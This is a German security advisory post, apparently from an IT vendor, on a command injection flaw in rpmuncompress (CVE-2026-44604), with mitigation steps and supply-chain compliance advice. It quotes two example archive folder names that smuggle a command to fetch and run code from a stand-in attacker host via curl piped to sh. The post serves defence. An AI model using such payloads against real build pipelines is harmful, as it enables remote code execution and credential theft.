CVE-2026-44604: `rpmuncompress` Command Injection über Archiv-Top-Level-Folder-Name — wenn der Pfad als Shell-Argument ausgeführt wird

TL;DR — die 90-Sekunden-Zusammenfassung

Was wurde veröffentlicht?

CVE-2026-44604 (Red-Hat-Security-Advisory 28.05.2026, CVSS 7.0 High). Klasse: OS Command Injection (CWE-78). Mechanismus: Das rpmuncompress-Utility wird zum Auspacken von Nicht-RPM-Archivformaten genutzt — ZIP, 7z und GEM (RubyGems). Beim Aufruf mit einem Ziel-Verzeichnis setzt das Tool den Top-Level-Folder-Namen des Archivs in eine Shell-Kommandozeile ein, ohne Shell-Metazeichen zu escapen. Ein präpariertes Archiv mit einem Folder-Namen wie foo$(curl attacker/x|sh) führt damit beliebige Kommandos als der User, unter dem die Extraktion läuft.

Wie schwer?

Hoch (CVSS 7.0). Privilege-Kontext: der User, unter dem rpmuncompress ausgeführt wird — in CI/CD-Pipelines häufig ein Build-User mit weitreichenden Schreibrechten auf das Build-Verzeichnis und gegebenenfalls Container-Registry-Tokens, SSH-Keys, Cloud-Credentials. In Container-Build-Schritten, die als Root laufen, ist es Root.

Welche Pakete sind betroffen?

Das rpm-Paket auf RHEL, Rocky Linux, AlmaLinux, Fedora, openSUSE, sowie die Red-Hat-Hummingbird-Pipeline und OpenShift-Build-Images (UBI, S2I-Builder), die rpmuncompress als Teil der Archive-Handling-Schicht nutzen.

Bin ich als Moselwal-Kunde betroffen?

Direkt betroffen sind Sie, wenn auf Ihrer Plattform rpmuncompress in einem automatisierten Extraktions-Schritt läuft und Archive verarbeitet, die nicht aus einer von Ihnen vollständig kontrollierten Quelle stammen. Typische Pfade: CI/CD-Build-Pipelines auf RHEL/Rocky/Alma, Container-Build-Pipelines mit UBI/S2I, Helm-/OpenShift-Image-Streams.

Sofort-Mitigation?

Drei Schritte. Erstens, rpm-Paket-Stand prüfen (rpm -q rpm) und auf den Red-Hat-Fix-Stand heben (dnf update rpm). Zweitens, in CI/CD-Pipelines die rpmuncompress-Aufrufe identifizieren und prüfen, ob die verarbeiteten Archive aus vertrauenswürdigen Quellen kommen. Drittens, Container-Base-Images auf den neuen rpm-Stand neu builden.

Kritikalität?

Hero-Badge high. Aktive Ausnutzung Stand 30.05. nicht öffentlich dokumentiert.

Was ist passiert

Das Red-Hat-Security-Team hat am 28. Mai 2026 für das rpm-Paket eine Sicherheits-Erratum veröffentlicht — CVE-2026-44604, CVSS 7.0 (High), OS Command Injection im rpmuncompress-Utility. rpmuncompress ist ein Hilfswerkzeug aus dem RPM-Tooling, das beim Auspacken von Source-RPMs und in einigen Build-Pfaden genutzt wird, um Archive in einem Ziel-Verzeichnis zu extrahieren. Neben dem nativen RPM-Format unterstützt es eine Reihe weiterer Archiv-Formate, darunter ZIP, 7z und GEM — typischerweise weil diese Formate als Quell-Tarballs für RPM-Builds vorkommen.

Der Bug sitzt im Code-Pfad für ZIP-, 7z- und GEM-Archive. Beim Extrahieren ruft rpmuncompress intern eine externe Shell-Kommandozeile auf — etwa unzip -d <dest>/<top-level-folder> — und setzt den Top-Level-Folder-Namen aus dem Archiv ohne Quoting in die Kommandozeile ein. Wenn dieser Folder-Name Shell-Metazeichen enthält (;, |, &&, Backticks, $(...)), werden diese in der Shell-Interpretation ausgeführt. Ein präpariertes Archiv, dessen Top-Level-Folder den Namen data$(/bin/sh -c 'curl attacker/x | sh') trägt, führt beim Auspacken den curl-Aufruf in der Shell des extrahierenden Users aus.

Die Patches lösen das durch konsequentes Quoting der Pfad-Werte beim Aufruf der externen Extraktions-Tools. Methodisch wird der Folder-Name nicht mehr als Shell-Token, sondern als Funktionsargument im execve-Sinne behandelt — der klassische Wechsel von system("cmd " + arg) zu execve(["cmd", arg]), der diese Bug-Klasse strukturell ausschließt.

Technische Einordnung

Strukturell ist CVE-2026-44604 ein Lehrstück für eine Anti-Pattern-Klasse, die in der Unix-/Linux-Werkzeug-Welt seit Jahrzehnten dokumentiert ist und immer wieder neu auftaucht: der Aufruf einer externen Shell mit einem string-konstruierten Kommando, in dem externe Werte interpoliert werden. Die Liste der historischen Vorlagen ist lang — shellshock (CVE-2014-6271), Samba username map script (CVE-2007-2447, der gestern in CVE-2026-4408 ein direktes Geschwister-Pattern bekommen hat), git submodule update (CVE-2017-1000117), zahlreiche Tar-/Zip-/Archive-Tools-Bugs der 2010er-Jahre.

Die methodische Pointe bei CVE-2026-44604 ist der Build-Pipeline-Hebel. rpmuncompress ist kein Tool, das normale End-User direkt aufrufen — es sitzt in Build-Scripts, in Spec-File-Sektionen von SRPMs, in OpenShift-S2I-Buildern, in Container-Image-Bau-Pipelines. Das ist genau die Klasse von Pfaden, an denen Lieferketten-Angriffe greifen: ein Angreifer, der eine Source-Tarball auf einem öffentlichen Mirror ablegen oder ein Pull-Request mit einem präparierten Test-Archiv stellen kann, sieht seine Shell-Payload in der Build-Pipeline ausgeführt — mit den Credentials und Rechten, die der Build-Prozess hat.

Drittens, der Aspekt der Format-spezifischen Behandlung. rpmuncompress betrifft hier explizit ZIP, 7z und GEM — nicht das native RPM-Format. Der Grund ist, dass die ZIP-/7z-/GEM-Extraktion auf externe Tools (unzip, 7z, gem unpack) deligiert wird, während der RPM-eigene CPIO-Pfad intern ohne Shell-Auflösung läuft.

Die Verbindung zur Tageslage ist auffällig. CVE-2026-44604 (28.05.) und CVE-2026-4408 Samba (29.05.) sind beide Shell-Injection-Bugs in derselben Bug-Klasse, beide aus dem Red-Hat-Eco-System, beide innerhalb von 24 Stunden disclosed.

Bedeutung für den Mittelstand

Für deutsche Mittelständler trifft CVE-2026-44604 vor allem die Build-Pipeline-Spur — und das ist der Punkt, der oft als „IT-internes Thema“ weggebucht wird, aber faktisch eine Lieferketten-Disziplin ist.

Erste Klasse, am breitesten relevant: CI/CD-Pipelines auf RHEL-/Rocky-/Alma-Build-Hosts. Wer seinen GitLab-Runner, Jenkins-Agent oder GitHub-Actions-Self-Hosted-Runner auf einem RHEL-Derivat betreibt und in den Build-Schritten Composer-Vendor-Archive, RubyGems-Releases oder andere ZIP-/GEM-Archive verarbeitet, hat den Pfad im Stack. Ob rpmuncompress konkret aufgerufen wird, hängt vom Build-Script ab — moderne Pipelines nutzen oft unzip, tar, gem unpack direkt; ältere oder Red-Hat-spezifische Pipelines (insbesondere solche mit rpmbuild und mock) haben rpmuncompress im Pfad.

Zweite Klasse: Container-Build-Pipelines mit Red-Hat-Universal-Base-Images (UBI), S2I-Buildern oder Hummingbird-Pipelines. Hier ist rpmuncompress Teil des Base-Image-Inhalts. Die Mitigation ist zweistufig: der rpm-Paket-Stand im Base-Image muss aktualisiert werden, und die Build-Pipeline muss das neue Base-Image dann auch ziehen.

Dritte Klasse, schmaler: Server-seitige Upload-Verarbeitung, in der Endbenutzer-Uploads durch rpmuncompress gehen. Sehr seltene Konfiguration, aber existiert in einigen Self-Service-Plattformen.

Compliance-seitig wirkt der Befund auf die Lieferketten-Achse. NIS-2 Art. 21 fordert „Sicherheit in der Lieferkette“ in der erweiterten Definition — Build-Pipeline-Tools gehören in diese Definition. Ein SBOM, der nur Application-Dependencies (Composer/npm/Maven) führt, aber nicht die Build-Tools (rpm, dnf, unzip, tar), hat eine Lücke an genau der Stelle, an der Lieferketten-Angriffe greifen. DSGVO Art. 32 ist über den indirekten Pfad betroffen.

Bedeutung für die technische Entwicklung

Architektonisch zwingen CVE-2026-44604 und das Schwester-Schicksal CVE-2026-4408 Samba zu drei Disziplinen.

Erstens, execve statt system/shell im eigenen Code. Jede eigene Codebase, die externe Tools aufruft, sollte das Aufrufmuster system("cmd " + arg) vermeiden. Stattdessen execve (oder die jeweiligen Sprach-Wrapper: PHP pcntl_exec, Python subprocess.run([...], shell=False), Node.js child_process.spawn([...], {shell: false}), Go exec.Command(name, args...)). Der Wechsel kostet wenig Aufwand und schließt die ganze Klasse strukturell aus.

Zweitens, Build-Tool-Inventur. Welche Tools laufen in Ihrer Build-Pipeline? Welche davon parsen externe Inputs? Welche haben in den letzten zwölf Monaten Security-Advisories bekommen? Ein einseitiges Dokument „Build-Pipeline-Komponenten und ihr Patch-Stand“ als Anhang zum ISO-27001-/ISO-42001-Selbstauditbericht macht den Befund prüffähig.

Drittens, Defense-in-Depth für die Build-Umgebung. Die Build-Pipeline ist eine der höchst-privilegierten Umgebungen in einer Mittelstands-IT — sie sieht Production-Credentials, Container-Registry-Tokens, SSH-Keys, manchmal Cloud-IAM-Tokens. Sinnvolle Hardening: Build-Runner in isolierter Netzwerk-Zone, Build-Credentials kurzlebig per Vault-Issuer mit TTL < 1h, Build-Output über eine separate Promotion-Schicht in die Production-Registry pushen.

Konkrete Handlungsempfehlung

In dieser Reihenfolge. Erstens, Inventur heute: pro RHEL-/Rocky-/Alma-/Fedora-Host und pro Container-Base-Image den rpm-Paket-Stand prüfen (rpm -q rpm). Zweitens, Patch-Lauf für die getroffenen Hosts: dnf update rpm (bzw. der entsprechende Befehl der Distribution), für Container-Images den neuen Base-Image-Tag ziehen und Container neu builden. Drittens, Build-Pipeline-Audit: in den CI-/CD-Definitions (GitLab CI-YAML, Jenkinsfile, GitHub-Actions-Workflows, Tekton-Pipelines, OpenShift-BuildConfig) nach Aufrufen von rpmuncompress greppen. Viertens, Stopgap für nicht-sofort-patchbare Pfade: rpmuncompress-Aufrufe durch sicherere Alternativen ersetzen (unzip für ZIP, 7z x für 7z, gem unpack für GEM), bis das rpm-Update durchläuft. Fünftens, Build-Credential-Hardening: Build-Runner mit kurzlebigen Credentials versorgen. Sechstens, dokumentieren: Build-Tool-Stand als Anhang zum ISO-27001-/ISO-42001-Selbstauditbericht aufnehmen.

Wenn diese Schritte aus eigener Kraft nicht laufen, sprechen Sie mit uns: Moselwal richtet Plattformen, in denen Build-Pipelines als eigene Lieferketten-Klasse geführt und mit gehärteter Tool-Kette betrieben werden.

Dieser Beitrag spiegelt unsere technische und strategische Einschätzung. Er ersetzt keine Rechtsberatung und keine Datenschutz-Folgenabschätzung.

Quellen

• Red Hat Customer Portal — CVE-2026-44604 Detail-Seite (28.05.2026)
• OpenCVE — CVE-2026-44604 (Stand 30.05.2026)
• CVE Threat-Intelligence — CVE-2026-44604 (28.05.2026)
• Samba Project — CVE-2007-2447 (historischer Kontext, dieselbe Bug-Klasse, 2007)